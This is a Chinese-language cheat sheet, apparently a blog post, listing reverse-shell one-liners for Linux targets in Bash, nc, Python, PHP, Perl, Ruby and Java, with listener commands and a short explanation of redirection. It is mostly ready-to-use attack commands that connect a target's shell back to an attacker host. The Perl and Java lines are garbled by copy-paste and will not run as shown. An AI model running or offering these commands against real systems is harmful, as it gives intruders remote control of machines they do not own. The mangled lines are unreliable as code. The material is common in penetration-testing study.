Linux反弹shell
Bash反弹shell
nc反弹shell
python反弹shell
php反弹shell
使用php的exec函数反弹shell
使用php的fsockopen远程连接
Perl反弹shell
Ruby反弹shell
Java反弹shell
其他反弹shell姿势
Linux反弹shell场景非常常见,常用于目标主机反弹shell给攻击机。
攻击机监听相应端口,目标机执行反弹shell,getshell!
Bash反弹shell
目标机:
bash -i >& /dev/tcp/ip/port 0>&1 //将shell反弹回相应的地址端口
1
本机使用nc进行监听:
nc -lvvp port //nc监听本机相应端口
1
在这里插入图片描述
在这里插入图片描述
搞懂原理
bash -i 打开一个交互式bash
/dev/tcp/ip/port 与指定地址端口建立TCP连接
“>&” 和 “0>&1” 是什么意思。这是Linux文件描述符和重定向。
标准输入(stdin):代码0,使用<或<<
标准输出(stdout):代码为1,使用>或>>
标准错误输出(stderr):代码为2,使用2>或>>
“>&”是将标准错误输出合并到标准输出中。
如执行 bash -i >& /dev/tcp/ip/port 它会将bash的标准输出和标准错误输出发送给指定地址端口,但本机不能进行输入。
“>&”最好的理解:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述时,表示将前面的文件描述符重定向至后面的文件描述符。
0>&1是将标准输入重定向到标准输出中,这样本机就可以接收用户的输入了。
当目标机有python环境时,用得到的shell使用python可以获得一个较为完整的交互式shell。
python -c ‘import pty;pty.spawn("/bin/bash")’
1
nc反弹shell
当目标机安装nc时,可以使用nc进行反弹shell。
本机使用nc监听端口
nc -lvvp 4444
1
目标机使用nc方向连接
nc -e /bin/bash ip port
1
如果nc不支持 -e参数,可以使用linux的管道符进行反弹
nc -lnvp 3333
nc -lnvp 4444
1
2
目标机中使用nc方向连接
nc ip 3333|/bin/bash|ip 4444
1
python反弹shell
使用python反弹shell
python -c “import os,socket,subprocess;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip"port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([”/bin/bash”,"-i"]);"
1
目标机python执行需要反弹的地址和端口
本机使用nc监听
nc -lvvp port
1
php反弹shell
使用php的exec函数反弹shell
php -r ‘exec("/bin/bash -i >& /dev/tcp/ip/port")’
1
使用php的fsockopen远程连接
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’
1
注:php反弹shell需要php关闭safe_mode选项,才能使用exec函数。
Perl反弹shell
perl -e ‘use Socket;
i
=
"
i
p
"
;
i="ip";
i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(
p
,
i
n
e
t
a
t
o
n
(
p,inet_aton(
p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
1
Ruby反弹shell
ruby -rsocket -e’f=TCPSocket.open(“ip”,port).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’
1
Java反弹shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()
1
其他反弹shell姿势
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port>/tmp/f
1
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line>&5 2>&1;done
1
人生漫漫其修远兮,网安无止境。
一同前行,加油!